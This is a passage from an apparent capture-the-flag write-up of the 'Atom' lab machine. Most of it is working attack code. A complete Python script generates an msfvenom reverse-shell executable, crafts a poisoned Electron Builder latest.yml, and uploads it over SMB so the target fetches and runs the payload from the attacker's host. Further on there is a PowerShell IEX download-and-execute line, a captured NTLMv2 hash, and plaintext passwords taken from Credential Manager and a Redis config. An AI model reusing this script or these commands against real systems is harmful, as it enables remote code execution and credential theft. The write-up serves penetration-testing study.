└─$ cat to-serve/latest.yml
version: 1.0.1
files:
url: http://10.10.14.39/heedv1'Setup1.0.1.exe
sha512: UboG1lEwJPbfExtL8ttp6CbfYi9nJ3mOZ8TAZzQ2ETcdq+OBXJWM/B1x6B2jEEpR8u7umo3RC5Npr15lmMjjLA==
size: 73802
path: heedv1'Setup1.0.1.exe
sha512: UboG1lEwJPbfExtL8ttp6CbfYi9nJ3mOZ8TAZzQ2ETcdq+OBXJWM/B1x6B2jEEpR8u7umo3RC5Npr15lmMjjLA==
releaseDate: '2021-04-21T11:17:02.627Z'
SMB
I used this gist for uploading to SMB:
resp = conn.storeFile('Software_Updates', 'client1/latest.yml', file)
Listing within the directory shows it’s uploaded:
smb: \client1\> dir
. D 0 Wed Jun 2 14:22:45 2021
.. D 0 Wed Jun 2 14:22:45 2021
latest.yml A 2776 Wed Jun 2 14:22:45 2021
Awesome - now it’s automated, we just need to debug it to get it to execute code.
Final Script Structure
This structure is working - just the payload needs adjusting:
import netifaces as ni
import subprocess
import sys
import argparse
import os
from pathlib import Path
import hashlib
import base64
from smb.SMBConnection import SMBConnection
def get_ip(interface):
"""find your IP on a given interface"""
ni.ifaddresses(interface)
ip = ni.ifaddresses(interface)[ni.AF_INET][0]['addr']
print("IP Address on interface " + interface + ": " + ip)
return ip
def gen_payload(ip, port, payload, dir):
"""generate an msfvenom payload with given IP address and port"""
cmd_str = 'msfvenom -a x86 --platform windows -p ' + payload + ' LHOST=' + str(ip) + ' LPORT=' + str(port) + ' -e x86/shikata_ga_nai -f exe -o "' + dir + 'heedv1\'Setup1.0.1.exe"'
print("Running command: " + cmd_str)
subprocess.call(cmd_str, shell=True)
def get_payload(args, ip, port, path):
"""generate a payload with msfvenom, calculate its size and sha512 sum
if a payload has already been generated, just calculate its size and sha512 sum"""
print("\n=== Generating Payload ===\n")
payload_path = ""
payload_name = "heedv1'Setup1.0.1.exe"
#get payload options, taking --payload as priority over --msf_payload if both provided
if args.payload is not None:
payload_path = Path(args.payload)
print("Payload Path: " + str(payload_path))
else:
if args.msf_payload is not None:
#get payload to use with msfvenom
msf_payload = args.msf_payload
print("Using payload " + str(msf_payload) + " with msfvenom")
else:
#default payload
msf_payload = "windows/shell_reverse_tcp"
print("No --msf_payload or --payload flag provided. Using default windows/shell_reverse_tcp payload and generating with msfvenom")
#generate shell payload
gen_payload(ip, port, msf_payload, path)
payload_path = path + payload_name
print("Payload saved at: " + payload_path)
#get size of payload
size = os.path.getsize(Path(payload_path))
print("Size: " + str(size))
sum = gen_checksum(Path(payload_path))
return payload_name, size, sum
def gen_checksum(filepath):
"""generate a sha512 hash of the file and base64 encode it"""
#set a buffer size to hash in chunks
BUF_SIZE = 65536
sha512 = hashlib.sha512()
with open(filepath, 'rb') as f:
while True:
data = f.read(BUF_SIZE)
if not data:
break
sha512.update(data)
b64 = base64.b64encode(sha512.digest()).decode('utf-8')
print("Base64-encoded SHA512-sum of payload: " + b64)
return b64
def gen_yaml(ip, payload, size, sum, dir):
print("\n=== Generating YAML File ===\n")
yml_string = ("version: 1.0.1\n"
"files:\n"
" url: http://{ip}/{payload}\n"
" sha512: {sha}\n"
" size: {size}\n"
"path: {payload}\n"
"sha512: {sha}\n"
"releaseDate: '2021-04-21T11:17:02.627Z'"
).format(ip=ip, payload=payload, sha=sum, size=size)
print(yml_string)
yml_path = dir + "/latest.yml"
with open(yml_path, 'a') as f:
f.write(yml_string)
f.close()
print("YAML saved at " + yml_path)
return yml_path
def smb_upload(yml_path):
print("\n=== Uploading to SMB ===\n")
#set client details
userID = "whoever"
password = ""
client_machine_name = "client"
#set server details
server_name = "ATOM" #netbios name
server_ip = "10.10.10.237"
domain_name = "atom.htb"
#create and open connection
conn = SMBConnection(userID, password, client_machine_name, server_name, domain=domain_name, use_ntlm_v2=True,
is_direct_tcp=True)
conn.connect(server_ip, 445)
#upload yml file
with open(yml_path, 'rb') as file:
# conn.storeFile('client1', 'latest.yml', file)
resp = conn.storeFile('Software_Updates', 'client1/latest.yml', file)
print(str(resp))
conn.close()
def main():
parser = argparse.ArgumentParser(prog="send-payload.py", description="Sends a payload to a vulnerable Electron Builder instance over SMB. If no port is provided, listens on port 9001 by default. No default option for IP address is specified.")
#positional arguments
parser.add_argument("ip", help="Target IP address")
#named parameters/flags
parser.add_argument("-p", "--payload", help="The path to an existing payload. Specify this if you don't want to generate one with msfvenom", dest="payload")
parser.add_argument("-m", "--msf_payload", help="Msfvenom payload to use. Default is windows/x64/shell_reverse_tcp", dest="msf_payload")
parser.add_argument("-a", "--lip", help="Local IP address to listen on. Specify either this or --lint", dest="lip")
parser.add_argument("-i", "--lint", help="Local interface to listen on. Specify either this or --lip", dest="lint")
parser.add_argument("-P", "--lport", help="Local port to listen on. 9001 by default", dest="lport")
parser.add_argument("-d", "--dir", help="Directory to save payload and stand up server in", dest="dir")
#parse arguments
args = parser.parse_args()
#default values
path = ""
port = "9001"
#get local IP, taking --lip as priority over --lint if both provided
if args.lip is not None:
ip = args.lip
print("IP Address: " + ip)
elif args.lint is not None:
ip = get_ip(args.lint)
else:
print("You must provide one of --lip or --lint. Run python3 send-payload.py -h for usage")
sys.exit(1)
#get port
arg_port = args.lport
if arg_port is not None:
port = arg_port
#mkdir if doesn't exist
arg_path = args.dir
if arg_path is not None:
path = arg_path + "/"
dirpath = Path(arg_path)
if not dirpath.is_dir():
print("Directory not found - creating directory")
dirpath.mkdir()
# remind user to start a listener
# in future, start python server in a thread
print("Make sure to start required listeners before continuing.\nRun a netcat listener to catch your shell: nc -lnvp {port}\nRun a Python Server to serve your shell in {dir}: sudo python3 -m http.server 80".format(port=port, dir=path))
input("Press enter to continue once you've started your listeners...\n")
payload_name, size, sum = get_payload(args, ip, port, path)
yml_path = gen_yaml(ip, payload_name, size, sum, arg_path)
smb_upload(yml_path)
if __name__ == '__main__':
main()
I could get a shell manually this way by copying my friend’s filename, but using heed'setup.exe
didn’t work (even after switching to the well known port 443):
┌──(mac㉿kali)-[~/Documents/HTB/atom/to-serve]
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.237 - - [03/Jun/2021 21:58:33] code 404, message File not found
10.10.10.237 - - [03/Jun/2021 21:58:33] "GET /heed'setup.exe.blockmap HTTP/1.1" 404 -
10.10.10.237 - - [03/Jun/2021 21:58:34] "GET /heed%27setup.exe HTTP/1.1" 200 -
┌──(mac㉿kali)-[~/Documents/HTB/atom/smb]
└─$ sudo nc -lnvp 443
listening on [any] 443 ...
I replaced the filename in my script to match my friend’s, and it worked - so the issue wasn’t with my code. When I tried the filename h'eed
in my final payload it worked.
The code is available here.
Shell as Jason
I did some basic privilege enumeration:
C:\Users\jason\Desktop>whoami /all
whoami /all
USER INFORMATION
----------------
User Name SID
========== ==============================================
atom\jason S-1-5-21-1199094703-3580107816-3092147818-1002
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
ERROR: Unable to get user claims information.
And netstat:
C:\Users\jason\Desktop>netstat
netstat
Active Connections
Proto Local Address Foreign Address State
TCP 10.10.10.237:445 10.10.14.39:34122 ESTABLISHED
TCP 10.10.10.237:6379 10.10.14.239:33482 ESTABLISHED
TCP 10.10.10.237:50771 10.10.14.239:4321 ESTABLISHED
TCP 10.10.10.237:50930 10.10.14.39:https ESTABLISHED
I had a poke around jason’s files:
C:\Users\jason\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 9793-C2E6
Directory of C:\Users\jason\Desktop
04/02/2021 10:29 PM <DIR> .
04/02/2021 10:29 PM <DIR> ..
03/31/2021 02:09 AM 2,353 heedv1.lnk
03/31/2021 02:09 AM 2,353 heedv2.lnk
03/31/2021 02:09 AM 2,353 heedv3.lnk
06/02/2021 01:10 PM 34 user.txt
4 File(s) 7,093 bytes
2 Dir(s) 5,602,054,144 bytes free
And looked at the system info:
C:\Users\jason>systeminfo
systeminfo
Host Name: ATOM
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19042 N/A Build 19042
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: barry
Registered Organization:
Product ID: 00330-80112-18556-AA358
Original Install Date: 4/1/2021, 3:57:31 AM
System Boot Time: 6/25/2021, 9:40:23 AM
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version: VMware, Inc. VMW71.00V.13989454.B64.1906190538, 6/19/2019
Windows Directory: C:\WINDOWS
System Directory: C:\WINDOWS\system32
Boot Device: \Device\HarddiskVolume3
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 4,095 MB
Available Physical Memory: 2,792 MB
Virtual Memory: Max Size: 5,503 MB
Virtual Memory: Available: 4,260 MB
Virtual Memory: In Use: 1,243 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: \\ATOM
Hotfix(s): 9 Hotfix(s) Installed.
[01]: KB4601554
[02]: KB4562830
[03]: KB4570334
[04]: KB4577586
[05]: KB4580325
[06]: KB4586864
[07]: KB4589212
[08]: KB5000842
[09]: KB5000981
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Ethernet0
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.237
[02]: fe80::6df8:22:7a70:9ec5
[03]: dead:beef::6da8:a31c:7baf:425d
[04]: dead:beef::6df8:22:7a70:9ec5
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
The version of windows is pretty recent and has a lot of hotfixes. I decided to run winPEAS to enumerate further.
WinPEAS
I couldn’t get it with IEX:
C:\Users>powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.16.211:8000/winPEASany.exe')"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.16.211:8000/winPEASany.exe')"
IEX : At line:6 char:8
+ *V(3
+ ~
Missing closing ')' in expression.
At line:10 char:2
+ ,/('
+ ~
...[lots of errors]...
Missing closing '}' in statement block or type definition.
Not all parse errors were reported. Correct the reported errors and try again.
At line:1 char:1
+ IEX(New-Object Net.WebClient).downloadString('http://10.10.16.211:800 ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : MissingEndParenthesisInExpression,Microsoft.PowerShell.Commands.InvokeExpressionCommand
So I used impacket-smbserver
instead. On my local machine:
┌──(mac㉿kali)-[~]
└─$ cd Documents/enum/
┌──(mac㉿kali)-[~/Documents/enum]
└─$ sudo impacket-smbserver share .
[sudo] password for mac:
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.237,60924)
[*] AUTHENTICATE_MESSAGE (ATOM\jason,ATOM)
[*] User ATOM\jason authenticated successfully
[*] jason::ATOM:aaaaaaaaaaaaaaaa:a466af52f6c2f02a53ce6811c8e58383:0101000000000000009a7b8e726ad70177d2b432c50e06c300000000010010004200730075004a004800440073006b00030010004200730075004a004800440073006b0002001000430045004200540058004b004c006c0004001000430045004200540058004b004c006c0007000800009a7b8e726ad701060004000200000008003000300000000000000000000000002000003d1f2a5d9f565e972c5d55925af40a8257a7792a673eae1f0494bb48b60531490a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310036002e003200310031000000000000000000
[-] Unknown level for query path info! 0x109
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:SHARE)
[*] Closing down connection (10.10.10.237,60924)
[*] Remaining connections []
On the box:
C:\Windows>cd %temp%
cd %temp%
C:\Users\jason\AppData\Local\Temp>copy \\10.10.16.211\share\winPEASany.exe .
copy \\10.10.16.211\share\winPEASany.exe .
1 file(s) copied.
C:\Users\jason\AppData\Local\Temp>winPEASany.exe
winPEASany.exe
ANSI color bit for Windows is not set. If you are execcuting this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Nice!
WinPEAS Highlights
It shows where the SMB files are stored:
h'eed(1184)[C:\Users\jason\AppData\Roaming\heedv1\__update__\h'eed.exe] -- POwn: jason
Permissions: jason [AllAccess]
Possible DLL Hijacking folder: C:\Users\jason\AppData\Roaming\heedv1\__update__ (jason [AllAccess])
Command Line: C:\Users\jason\AppData\Roaming\heedv1\__update__\h'eed.exe --updated --force-run
And found a few standard things such as unquoted paths. The scheduled processes told us a bit about how the node application is deployed:
[+] Scheduled Applications --Non Microsoft--
[?] Check if you can modify other users scheduled binaries https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries
(ATOM\Administrator) SoftwareUpdates: C:\Users\jason\appdata\roaming\cache\run.bat
Permissions file: jason [WriteData/CreateFiles AllAccess]
Permissions folder(DLL Hijacking): jason [WriteData/CreateFiles AllAccess]
Trigger: At log on of ATOM\jason
=================================================================================================
(ATOM\Administrator) UpdateServer: C:\Users\jason\appdata\roaming\cache\http-server.bat
Permissions file: jason [WriteData/CreateFiles AllAccess]
Permissions folder(DLL Hijacking): jason [WriteData/CreateFiles AllAccess]
Trigger: At log on of ATOM\jason
=================================================================================================
It also enumerated open ports:
[+] Current TCP Listening Ports
[?] Check for services restricted from the outside
Enumerating IPv4 connections
Protocol Local Address Local Port Remote Address Remote Port State Process ID Process Name
TCP 0.0.0.0 80 0.0.0.0 0 Listening 2580 httpd
TCP 0.0.0.0 135 0.0.0.0 0 Listening 928 svchost
TCP 0.0.0.0 443 0.0.0.0 0 Listening 2580 httpd
TCP 0.0.0.0 445 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 5040 0.0.0.0 0 Listening 5820 svchost
TCP 0.0.0.0 5985 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 6379 0.0.0.0 0 Listening 1544 redis-server
TCP 0.0.0.0 8081 0.0.0.0 0 Listening 4596 C:\Program Files\nodejs\node.exe
TCP 0.0.0.0 8082 0.0.0.0 0 Listening 1900 C:\Program Files\nodejs\node.exe
TCP 0.0.0.0 8083 0.0.0.0 0 Listening 2000 C:\Program Files\nodejs\node.exe
TCP 0.0.0.0 47001 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 49664 0.0.0.0 0 Listening 684 lsass
TCP 0.0.0.0 49665 0.0.0.0 0 Listening 532 wininit
TCP 0.0.0.0 49666 0.0.0.0 0 Listening 1056 svchost
TCP 0.0.0.0 49667 0.0.0.0 0 Listening 1572 svchost
TCP 0.0.0.0 49668 0.0.0.0 0 Listening 2112 spoolsv
TCP 0.0.0.0 49669 0.0.0.0 0 Listening 672 services
TCP 10.10.10.237 139 0.0.0.0 0 Listening 4 System
TCP 10.10.10.237 445 10.10.16.211 42294 Established 4 System
TCP 10.10.10.237 58568 10.10.16.211 443 Established 1184 C:\Users\jason\AppData\Roaming\heedv1\__update__\h'eed.exe
TCP 10.10.10.237 60900 10.10.16.211 443 Established 6792 C:\Users\jason\AppData\Roaming\heedv1\__update__\h'eed.exe
TCP 10.10.10.237 60924 10.10.16.211 445 Established 4 System
Enumerating IPv6 connections
Protocol Local Address Local Port Remote Address Remote Port State Process ID Process Name
TCP [::] 80 [::] 0 Listening 2580 httpd
TCP [::] 135 [::] 0 Listening 928 svchost
TCP [::] 443 [::] 0 Listening 2580 httpd
TCP [::] 445 [::] 0 Listening 4 System
TCP [::] 5985 [::] 0 Listening 4 System
TCP [::] 6379 [::] 0 Listening 1544 redis-server
TCP [::] 47001 [::] 0 Listening 4 System
TCP [::] 49664 [::] 0 Listening 684 lsass
TCP [::] 49665 [::] 0 Listening 532 wininit
TCP [::] 49666 [::] 0 Listening 1056 svchost
TCP [::] 49667 [::] 0 Listening 1572 svchost
TCP [::] 49668 [::] 0 Listening 2112 spoolsv
TCP [::] 49669 [::] 0 Listening 672 services
This shows us the Node servers, as well as Redis which we saw on our initial nmap
scan.
Crucially, it finds a password in Credential manager, kidvscat_electron_@123
:
=========================================(Windows Credentials)=========================================
[+] Checking Windows Vault
[?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-manager-windows-vault
Not Found
[+] Checking Credential manager
[?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-manager-windows-vault
[!] Warning: if password contains non-printable characters, it will be printed as unicode base64 encoded string
Username: ATOM\jason
Password: kidvscat_electron_@123
Target: ATOM\jason
PersistenceType: Enterprise
LastWriteTime: 3/31/2021 2:53:49 AM
=================================================================================================
We’ll use this later.
Node Servers
I played around a bit with run.bat
, which seems to start the node servers:
type C:\Users\jason\appdata\roaming\cache\run.bat
@echo off
:LOOP
echo Running Executables
START /B C:\Users\jason\appdata\Local\programs\heedv1\heedv1.exe > nul
START /B C:\Users\jason\appdata\Local\programs\heedv2\heedv2.exe > nul
START /B C:\Users\jason\appdata\Local\programs\heedv3\heedv3.exe > nul
echo Wait for updates
ping -n 30 127.0.0.1 > nul
echo Killing Executables
taskkill /F /IM heedv1.exe
taskkill /F /IM heedv2.exe
taskkill /F /IM heedv3.exe
ping -n 30 127.0.0.1 > nul
cls
GOTO :LOOP
:EXIT
C:\Users\jason\Desktop>type C:\Users\jason\appdata\roaming\cache\http-server.bat
type C:\Users\jason\appdata\roaming\cache\http-server.bat
@echo off
echo Starting servers
START /B c:\users\jason\downloads\node_modules\.bin\http-server c:\software_updates\client1 -p 8081
START /B c:\users\jason\downloads\node_modules\.bin\http-server c:\software_updates\client2 -p 8082
START /B c:\users\jason\downloads\node_modules\.bin\http-server c:\software_updates\client3 -p 8083
C:\Program Files\nodejs\node.exe
is running on these ports according to winpeas. While the ports were listening on all interfaces, they couldn’t be accessed in the browser. nmap
showed them as filtered:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ nmap -sC -sV -p 8081,8082,8083 -oA nmap/atom-node 10.10.10.237
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-26 11:15 BST
Nmap scan report for atom.htb (10.10.10.237)
Host is up (0.021s latency).
PORT STATE SERVICE VERSION
8081/tcp filtered blackice-icecap
8082/tcp filtered blackice-alerts
8083/tcp filtered us-srv
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.71 seconds
I tried IWR locally in case they were only accessible from localhost:
C:\Users\jason\Desktop>powershell "Invoke-WebRequest http://localhost:8081"
powershell "Invoke-WebRequest http://localhost:8081"
Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or
Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest http://localhost:8081
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestComman
d
This didn’t seem to go anywhere.
I looked at a couple of articles about pentesting NodeJS: https://resources.infosecinstitute.com/topic/penetration-testing-node-js-applications-part-1/
And used tasklist to see who is running the process:
C:\Users\jason\AppData\Local\Programs\heedv1>tasklist /v
tasklist /v
Image Name PID Session Name Session# Mem Usage Status User Name CPU Time Window Title
========================= ======== ================ =========== ============ =============== ================================================== ============ ========================================================================
redis-server.exe 1544 Services 0 19,776 K Unknown N/A 0:00:00 N/A
node.exe 4596 Console 1 8,064 K Unknown ATOM\jason 0:00:04 N/A
node.exe 1900 Console 1 7,976 K Unknown ATOM\jason 0:00:03 N/A
node.exe 2000 Console 1 7,976 K Unknown ATOM\jason 0:00:02 N/A
As it’s Jason, I doubt Node is the right path to privilege escalation.
Redis & PortableKanban
I went back to the potential password from credential manager: kidvscat_electron_@123
Could we use this with one of original services discovered by nmap?
Trying redis-cli
I’d never used Redis before, so checked Hacktricks - I always like doing this for a new service.
It recommends redis-tools
for connecting:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo apt install redis-tools
The CLI is super nice, and autofills!
… but unfortunately it doesn’t work.
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ redis-cli -h 10.10.10.237 -p 6379
10.10.10.237:6379> info
NOAUTH Authentication required.
10.10.10.237:6379> AUTH jason kidvscat_electron_@123
(error) ERR wrong number of arguments for 'auth' command
10.10.10.237:6379> AUTH jason kidvscat_electron_@123
(error) ERR wrong number of arguments for 'auth' command
10.10.10.237:6379> AUTH kidvscat_electron_@123
(error) ERR invalid password
It seems like Redis < 6.0 only supports password. There’s no way to check version without the INFO
command, which we can’t run unauthenticated. I tried a couple more times, but couldn’t get it to work:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ redis-cli -h 10.10.10.237 -p 6379 -a kidvscat_electron_@123
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
Warning: AUTH failed
10.10.10.237:6379>
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ redis-cli -h 10.10.10.237 -p 6379 -u jason -a kidvscat_electron_@123
Invalid URI scheme
I tried using the password with evil-winrm
:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo gem install evil-winrm
Fetching multi_json-1.15.0.gem
...[snip]...
Successfully installed winrm-fs-1.3.5
Happy hacking! :)
Successfully install ...[snip]...
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ evil-winrm -u jason -p 'kidvscat_electron_@123' -i 10.10.10.237
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
But it didn’t work.
Digging Around PortableKanban
I continued enumerating files to see if there was another password, or another place to use the password. I stumbled across PortableKanban
in Jason’s downloads directory:
C:\Users\jason\Downloads>dir
dir
Volume in drive C has no label.
Volume Serial Number is 9793-C2E6
Directory of C:\Users\jason\Downloads
04/02/2021 08:00 AM <DIR> .
04/02/2021 08:00 AM <DIR> ..
03/31/2021 02:36 AM <DIR> node_modules
04/02/2021 08:21 PM <DIR> PortableKanban
0 File(s) 0 bytes
4 Dir(s) 5,666,607,104 bytes free
I’d seen this before on writeups of Sharp. There is an exploit available which decrypts passwords in the PortableKanban.pk3
file, but it doesn’t exist:
C:\Users\jason\Downloads\PortableKanban>dir
dir
Volume in drive C has no label.
Volume Serial Number is 9793-C2E6
Directory of C:\Users\jason\Downloads\PortableKanban
04/02/2021 08:21 PM <DIR> .
04/02/2021 08:21 PM <DIR> ..
02/27/2013 08:06 AM 58,368 CommandLine.dll
11/08/2017 01:52 PM 141,312 CsvHelper.dll
06/22/2016 09:31 PM 456,704 DotNetZip.dll
04/02/2021 07:44 AM <DIR> Files
11/23/2017 04:29 PM 23,040 Itenso.Rtf.Converter.Html.dll
11/23/2017 04:29 PM 75,776 Itenso.Rtf.Interpreter.dll
11/23/2017 04:29 PM 32,768 Itenso.Rtf.Parser.dll
11/23/2017 04:29 PM 19,968 Itenso.Sys.dll
11/23/2017 04:29 PM 376,832 MsgReader.dll
07/03/2014 10:20 PM 133,296 Ookii.Dialogs.dll
04/02/2021 07:17 AM <DIR> Plugins
04/02/2021 08:22 PM 5,920 PortableKanban.cfg
01/04/2018 09:12 PM 118,184 PortableKanban.Data.dll
01/04/2018 09:12 PM 1,878,440 PortableKanban.exe
01/04/2018 09:12 PM 31,144 PortableKanban.Extensions.dll
04/02/2021 07:21 AM 172 PortableKanban.pk3.lock
09/06/2017 12:18 PM 413,184 ServiceStack.Common.dll
09/06/2017 12:17 PM 137,216 ServiceStack.Interfaces.dll
09/06/2017 12:02 PM 292,352 ServiceStack.Redis.dll
09/06/2017 04:38 AM 411,648 ServiceStack.Text.dll
01/04/2018 09:14 PM 1,050,092 User Guide.pdf
19 File(s) 5,656,416 bytes
We can try it on the lock file, but it doesn’t look to have a password in it:
C:\Users\jason\Downloads\PortableKanban>type PortableKanban.pk3.lock
type PortableKanban.pk3.lock
{"MachineName":"ATOM","UserName":"jason","SID":"S-1-5-21-1199094703-3580107816-3092147818-1002","AppPath":"C:\\Users\\jason\\Downloads\\PortableKanban\\PortableKanban.exe"}
The db password field used in sharp wasn’t there, so I thought I’d move on. Maybe there’s something in the config:
C:\Users\jason\Downloads\PortableKanban>type PortableKanban.cfg
type PortableKanban.cfg
{"RoamingSettings":{"DataSource":"RedisServer","DbServer":"localhost","DbPort":6379,"DbEncPassword":"Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb","DbServer2":"","DbPort2":6379,"DbEncPassword2":"","DbIndex":0,"DbSsl":false,"DbTimeout":10,"FlushChanges":true,"UpdateInterval":5,"AutoUpdate":true,"Caption":"My Tasks","RightClickAction":"Nothing","DateTimeFormat":"ddd, M/d/yyyy h:mm tt","BoardForeColor":"WhiteSmoke","BoardBackColor":"DimGray","ViewTabsFont":"Segoe UI,
...[snip]...
DbEncPassword
catches my eye: Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb
PortableKanban is maybe storing its passwords in Redis. However, the DbEncPassword
doesn’t work to authenticate to Redis:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ redis-cli -h 10.10.10.237 -p 6379 -a Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
Warning: AUTH failed
10.10.10.237:6379>
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ echo 'Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb' | base64 -d
And it also doesn’t decode using the decryption exploit.
Finding Password in Redis Config
I got a small hint and looked through the Redis config files as well:
C:\Users\jason\.config>cd \Program Files\Redis
cd \Program Files\Redis
C:\Program Files\Redis>dir
dir
Volume in drive C has no label.
Volume Serial Number is 9793-C2E6
Directory of C:\Program Files\Redis
06/25/2021 09:41 AM <DIR> .
06/25/2021 09:41 AM <DIR> ..
07/01/2016 03:54 PM 1,024 EventLog.dll
04/02/2021 07:31 AM <DIR> Logs
07/01/2016 03:52 PM 12,618 Redis on Windows Release Notes.docx
07/01/2016 03:52 PM 16,769 Redis on Windows.docx
07/01/2016 03:55 PM 406,016 redis-benchmark.exe
07/01/2016 03:55 PM 4,370,432 redis-benchmark.pdb
07/01/2016 03:55 PM 257,024 redis-check-aof.exe
07/01/2016 03:55 PM 3,518,464 redis-check-aof.pdb
07/01/2016 03:55 PM 268,288 redis-check-dump.exe
07/01/2016 03:55 PM 3,485,696 redis-check-dump.pdb
07/01/2016 03:55 PM 482,304 redis-cli.exe
07/01/2016 03:55 PM 4,517,888 redis-cli.pdb
07/01/2016 03:55 PM 1,553,408 redis-server.exe
07/01/2016 03:55 PM 6,909,952 redis-server.pdb
04/02/2021 07:39 AM 43,962 redis.windows-service.conf
04/02/2021 07:37 AM 43,960 redis.windows.conf
07/01/2016 09:17 AM 14,265 Windows Service Documentation.docx
16 File(s) 25,902,070 bytes
3 Dir(s) 5,663,842,304 bytes free
C:\Program Files\Redis>type redis.windows.conf
type redis.windows.conf
# Redis configuration file example
requirepass kidvscat_yes_kidvscat
...[snip]...
This gives us a password that we can authenticate with!
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ redis-cli -h 10.10.10.237 -p 6379 -a kidvscat_yes_kidvscat
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.10.10.237:6379> INFO
# Server
redis_version:3.0.504
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:a4f7a6e86f2d60b3
redis_mode:standalone
os:Windows
arch_bits:64
multiplexing_api:WinSock_IOCP
process_id:1544
run_id:d4c9cb03d154fdb9c0b0fb4b5d0df322cf3ff43c
tcp_port:6379
uptime_in_seconds:67618
uptime_in_days:0
hz:10
lru_clock:14094191
config_file:C:\Program Files\Redis\redis.windows-service.conf
...[snip]...
10.10.10.237:6379> CONFIG GET *
1) "dbfilename"
2) "dump.rdb"
3) "requirepass"
4) "kidvscat_yes_kidvscat"
5) "masterauth"
...[snip]...
However, there are no keys containing a new password:
10.10.10.237:6379> SELECT 0
OK
10.10.10.237:6379> SELECT 1
OK
